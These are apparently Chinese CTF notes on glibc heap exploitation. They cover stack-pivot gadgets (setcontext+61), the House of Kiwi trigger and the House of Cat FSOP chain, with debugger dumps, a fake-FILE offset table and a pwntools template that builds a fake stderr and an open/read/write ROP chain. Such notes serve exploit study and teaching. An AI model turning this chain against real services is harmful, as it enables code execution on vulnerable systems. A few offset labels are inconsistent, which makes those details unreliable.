1. 常用的gadgets
1.1 setcontext + 61
[rdx+0xa0]是rsp,[rdx+0xa8]是rcx,栈迁移用,需要能控制rdx。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── 0x7fe165955a6d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0] 0x7fe165955a74 <setcontext+68> mov rbx, qword ptr [rdx + 0x80] 0x7fe165955a7b <setcontext+75> mov rbp, qword ptr [rdx + 0x78] 0x7fe165955a7f <setcontext+79> mov r12, qword ptr [rdx + 0x48] 0x7fe165955a83 <setcontext+83> mov r13, qword ptr [rdx + 0x50] 0x7fe165955a87 <setcontext+87> mov r14, qword ptr [rdx + 0x58] 0x7fe165955a8b <setcontext+91> mov r15, qword ptr [rdx + 0x60] 0x7fe165955a8f <setcontext+95> test dword ptr fs:[0x48], 2 0x7fe165955a9b <setcontext+107> je setcontext+294 <setcontext+294> ...... 0x7fe165955b56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8] 0x7fe165955b5d <setcontext+301> push rcx 0x7fe165955b5e <setcontext+302> mov rsi, qword ptr [rdx + 0x70] 0x7fe165955b62 <setcontext+306> mov rdi, qword ptr [rdx + 0x68] 0x7fe165955b66 <setcontext+310> mov rcx, qword ptr [rdx + 0x98] 0x7fe165955b6d <setcontext+317> mov r8, qword ptr [rdx + 0x28] 0x7fe165955b71 <setcontext+321> mov r9, qword ptr [rdx + 0x30] 0x7fe165955b75 <setcontext+325> mov rdx, qword ptr [rdx + 0x88] 0x7fe165955b7c <setcontext+332> xor eax, eax 0x7fe165955b7e <setcontext+334> ret
|
1.2 svcudp_reply + 26(glibc2.35没有)
rdi+0x48处保存rbp,然后rbp+0x18处保存leave_ret的地址,可以栈迁移,需要可以控制rdi。
1 2 3 4 5 6 7
| ─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── 0x7ffff7f1500a <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] 0x7ffff7f1500e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] 0x7ffff7f15012 <svcudp_reply+34>: lea r13,[rbp+0x10] 0x7ffff7f15016 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 0x7ffff7f1501d <svcudp_reply+45>: mov rdi,r13 0x7ffff7f15020 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
|
1.3其他好用的gadgets
上面两个用不了的时候从这里找
1 2 3 4
| 0x000000000015d65a : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10] 0x000000000015d5c1 : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18] 0x00000000001673c9 : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20] 0x000000000015d50c : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]
|
1
| 0x000000000005a170 : mov rsp, rdx ; ret
|
- 通过rdi控制rdx,通过rax控制rsp,调用rdx(也可以栈迁移)
1
| 0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
|
这些gadgets在libc.so中的偏移用ROPgadget寻找,保存在文本文件’gadgets’中然后Ctrl+F搜索。
1
| ROPgadget --binary <libc.so.name> --only 'pop|ret|leave|mov|call' > gadgets
|
2. House of kiwi
程序无通过main或者exit函数返回,不触发fcloseall函数,此时要触发__malloc_assert函数。通过修改top chunk的size来触发,满足如下条件即可:
1 2 3 4
| assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
|
old_size >= 0x20;
old_top.prev_inuse = 0;
old_top页对齐。
1 2 3 4 5 6 7 8 9 10 11 12 13
| static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort (); }
|
3. House of cat
用kiwi的__malloc_assert调用原理,但这次进入的是__fxprintf的分支,而不是fflush(stderr)。但内部仍然调用stderr,调试后可以看到源码从_IO_wfile_seekoff开始:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| ───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────── 0x7fba42d52ecb <_IO_wfile_seekoff+11> push r13 0x7fba42d52ecd <_IO_wfile_seekoff+13> push r12 0x7fba42d52ecf <_IO_wfile_seekoff+15> push rbp 0x7fba42d52ed0 <_IO_wfile_seekoff+16> push rbx 0x7fba42d52ed1 <_IO_wfile_seekoff+17> sub rsp, 0xc8 ► 0x7fba42d52ed8 <_IO_wfile_seekoff+24> mov rax, qword ptr [rdi + 0xa0] 0x7fba42d52edf <_IO_wfile_seekoff+31> test ecx, ecx 0x7fba42d52ee1 <_IO_wfile_seekoff+33> je _IO_wfile_seekoff+1040 <_IO_wfile_seekoff+1040> ↓ 0x7fba42d532d0 <_IO_wfile_seekoff+1040> cmp qword ptr [rax + 0x30], 0 0x7fba42d532d5 <_IO_wfile_seekoff+1045> je _IO_wfile_seekoff+1472 <_IO_wfile_seekoff+1472> ↓ 0x7fba42d53480 <_IO_wfile_seekoff+1472> xor ebx, ebx ─────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────── In file: /home/wbohan/Desktop/glibc-2.35/libio/wfileops.c 741 _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) 742 { 743 off64_t result; 744 off64_t delta, new_offset; 745 long int count; 746 747 /* Short-circuit into a separate function. We don't want to mix any 748 functionality and we don't want to touch anything inside the FILE 749 object. */ ► 750 if (mode == 0) 751 return do_ftell_wide (fp); 752 753 /* POSIX.1 8.2.3.7 says that after a call the fflush() the file 754 offset of the underlying file must be exact. */ 755 int must_be_exact = ((fp->_wide_data->_IO_read_base
|
第一个绕过的保护mode!=0rdi = *stderr ; mode = qword ptr [rdi + 0xa0];
经过调试发现还会进入第二次_IO_wfile_seekoff,第二次进入时,mode仍然是qword ptr [rdi + 0xa0];不过这次会有第二个需要绕过的保护:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| ────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────── RAX 0x56418c3af2c0 ◂— 0x0 RBX 0x0 RCX 0x6d0 RDX 0x3 RDI 0x56418c3af290 ◂— 0x0 RSI 0x7ffded8e4c80 ◂— 0x7700000070 /* 'p' */ R8 0x0 R9 0x7ffded8e4aa8 ◂— 0x2bee0 R10 0x4 R11 0x7ffded8e4af0 —▸ 0x7ffded8e7354 ◂— 'SHELL=/bin/bash' *R12 0x3 R13 0x3 R14 0x7ffded8e4c78 ◂— 0x0 R15 0x56418c3af290 ◂— 0x0 RBP 0x56418c3af290 ◂— 0x0 RSP 0x7ffded8e4b30 ◂— 0x600000001 *RIP 0x7f186c4c3eea (_IO_wfile_seekoff+42) ◂— mov rcx, qword ptr [rax + 0x20] ────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────── 0x7f186c4c3ed1 <_IO_wfile_seekoff+17> sub rsp, 0xc8 0x7f186c4c3ed8 <_IO_wfile_seekoff+24> mov rax, qword ptr [rdi + 0xa0] 0x7f186c4c3edf <_IO_wfile_seekoff+31> test ecx, ecx 0x7f186c4c3ee1 <_IO_wfile_seekoff+33> je _IO_wfile_seekoff+1040 0x7f186c4c3ee7 <_IO_wfile_seekoff+39> mov r12d, edx 0x7f186c4c3eea <_IO_wfile_seekoff+42> mov rcx, qword ptr [rax + 0x20] 0x7f186c4c3eee <_IO_wfile_seekoff+46> mov rdx, qword ptr [rax + 0x18] ...... 0x7f186c4c3f0b <_IO_wfile_seekoff+75> cmp rcx, rdx ► 0x7f186c4c3f0e <_IO_wfile_seekoff+78> jbe _IO_wfile_seekoff+656 <_IO_wfile_seekoff+656> 0x7f186c4c3f14 <_IO_wfile_seekoff+84> mov rdi, r15 0x7f186c4c3f17 <_IO_wfile_seekoff+87> call _IO_switch_to_wget_mode <_IO_switch_to_wget_mode> ──────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────── In file: /home/wbohan/Desktop/glibc-2.35/libio/wfileops.c ► 760 bool was_writing = ((fp->_wide_data->_IO_write_ptr 761 > fp->_wide_data->_IO_write_base) 762 || _IO_in_put_mode (fp)); 763 ... 771 if (was_writing && _IO_switch_to_wget_mode (fp)) 772 return WEOF;
|
后面需要进入_IO_switch_to_wget_mode进行调用,所以必须让was_writing为真,所以fp->_wide_data->_IO_write_ptr大于fp->_wide_data->_IO_write_base。
fp->_wide_data = rax = [rdi + 0xa0];fp->_wide_data->_IO_write_ptr = [rax + 0x20] = rcx;fp->_wide_data->_IO_write_base = [rax + 0x18] = rdx;
然后会进入_IO_switch_to_wget_mode中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ──────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────── 注意看,函数第一个参数是fp,就是我们的fake_io,所以这里的rdi就是fp。 0x7fd68b09c744 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f186c4c274b <_IO_switch_to_wget_mode+11> push rbx 0x7f186c4c274c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f186c4c274f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f186c4c2753 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f186c4c2757 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> ► 0x7f186c4c2759 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f186c4c2760 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f186c4c2765 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] 0x7f186c4c2768 <_IO_switch_to_wget_mode+40> cmp eax, -1 0x7f186c4c276b <_IO_switch_to_wget_mode+43> je _IO_switch_to_wget_mode+99 <_IO_switch_to_wget_mode+99> 0x7f186c4c276d <_IO_switch_to_wget_mode+45> mov rax, qword ptr [rbx + 0xa0] ───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────── In file: /home/wbohan/Desktop/glibc-2.35/libio/wgenops.c 389 390 int 391 _IO_switch_to_wget_mode (FILE *fp) 392 { 393 if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) ► 394 if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) 395 return EOF;
|
经过调试,进入这个函数后有一些重复的操作,比如rax赋值为fp->_wide_data、检查fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。但需要注意在函数内重新将rdx赋值为[rax + 0x20],之前是[rax + 0x18]。 tmp = [rax+0xe0],call [tmp+0x18]。
最后让rdx指向堆,内部伪造一些寄存器,tmp + 0x18是setcontext + 61即可rop。
总结调用链、保护绕过和伪造内容:
- 调用链:
__malloc_assert
—>__fxprintf
——->_IO_wfile_jumps的vtable
———–>_IO_wfile_seekoff
—————>_IO_switch_to_wget_mode
- 绕过保护(下面的结构体都假设为char *)
mode != 0,fp->_mode设置为1好像就行了。
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
_wide_data在fp中的偏移是0xa0,将这个值设为&fp + 0x30,那么- fp->_wide_data->_IO_write_ptr = &fp + 0x50,fp->_IO_write_base = &fp + 0x48。那么这两个值的位置正好是fp->_IO_backup_base和fp->_IO_save_base。所以后面_IO_backup_base应该设为rdx,是非0的,_IO_save_base默认填充为0即可,这个保护也不需要特意绕过。
- 伪造内容
_IO_switch_to_wget_mode中,我们发现了rax先被赋值为了fp[0xa0],就是fp->_wide_data。然后被赋值为了rax = _wide_data[0xe0]。最后调用了[rax + 0x18]。如果_wide_data[0xe0]设置为&fp + 0x40,即fp[0xe0 + 0x30] = &fp + 0x40,那么最后调用的就是&fp + 0x58,正好对应了fp->_IO_save_end。对了,别忘了把fp->vtable设置成_IO_wfile_jumps+0x10,这是FSOP的最开始的一步。
在此假设情况下,我们总结一下fake_io应该如何构造,注意,我我们的fake_io结构体和wide_data结构体是重叠的,这样节省空间。这里已经假设_wide_data保存在&fp + 0x30处,_wide_data的vtable(0xe0偏移)保存在&fp + 0x40处。
offset_wide_data = 0x30
offset_wide_data->vtable = 0x40
同时假设rdx设置为&fp + 0x120,rsp设置为&fp + 0x200,
| 偏移量 |
内容 |
含义 |
fp->? |
| 0x50(offset_wide_data + 0x20) |
fake_io + 0x120 |
setcontext+61时的rdx,放堆地址,伪造寄存器srop |
fp->_IO_backup_base |
| 0x58(offset_wide_data->vtable + 0x18) |
libc.sym[‘setcontext’]+61 |
_IO_switch_to_wget_mode时ret这个 |
fp->_IO_save_base |
| 0x88 |
fake_io+0x1000 |
听说_lock必须可写,没有调这个,没啥影响就随便放个地址,这个写了总归不会出问题 |
fp->_lock |
| 0xa0 |
fake_io+0x30 |
设成这个值方便 |
fp->_wide_data |
| 0xc0 |
1 |
mode设置为1不然不行,没调 |
fp->_mode |
| 0xd8 |
libc.sym[‘_IO_wfile_jumps’]+0x10 |
万里长征第一步,_IO_FILE_plus的vtable |
fp->vtable |
| 0x110(offset_wide_data + 0x30) |
fake_io + 0x40 |
_wide_data的vtable,为了0x58偏移量而写的值 |
fp->_wide_data->vtable |
| 0x1c0(0x120 + 0xa0) |
fake_io + 0x200 |
setcontext+61后的rsp |
^ |
| 0x1c8(0x120 + 0xa8) |
&ret |
setcontext+61后的rcx,ret |
^ |
| 0x1d0 |
b’./flag.txt’ |
flag文件名 |
^ |
| 0x200 |
rop链 |
执行的rop链 |
^ |
| 简洁的模板 |
|
|
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| fake_io_addr = heap_base + 0x290 flag_str_addr = fake_io_addr + 0x1d0 flag_content_addr = heap_base + 0x600
rop_chain = p64(rdi) + p64(flag_str_addr) + p64(libc.sym['open']) rop_chain += p64(rdi) + p64(3) + p64(rsi) + p64(flag_content_addr) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read']) rop_chain += p64(rdi) + p64(1) + p64(libc.sym['write'])
fake_stderr = flat({ 0x50: p64(fake_io_addr + 0x120), 0x58: p64(libc.sym['setcontext'] + 61), 0x88: p64(fake_io_addr + 0x1000), 0xa0: p64(fake_io_addr + 0x30), 0xc0: p64(1), 0xd8: p64(libc.sym['_IO_wfile_jumps'] + 0x10), 0x110:p64(fake_io_addr + 0x40), 0x1c0:p64(fake_io_addr + 0x200), 0x1c8:p64(ret), 0x1d0:b'./flag.txt', 0x200:rop_chain },filler='\0')
|
上面的模板中我们把fp->_wide_data设置成了&fp + 0x30,fp->_wide_data设置成了&fp + 0x40,rdx设置成了&fp + 0x120,rsp设置成了&fp + 0x200,flag文件名保存在&fp + 0x1d0处,flag内容保存在&fp + 0x600处。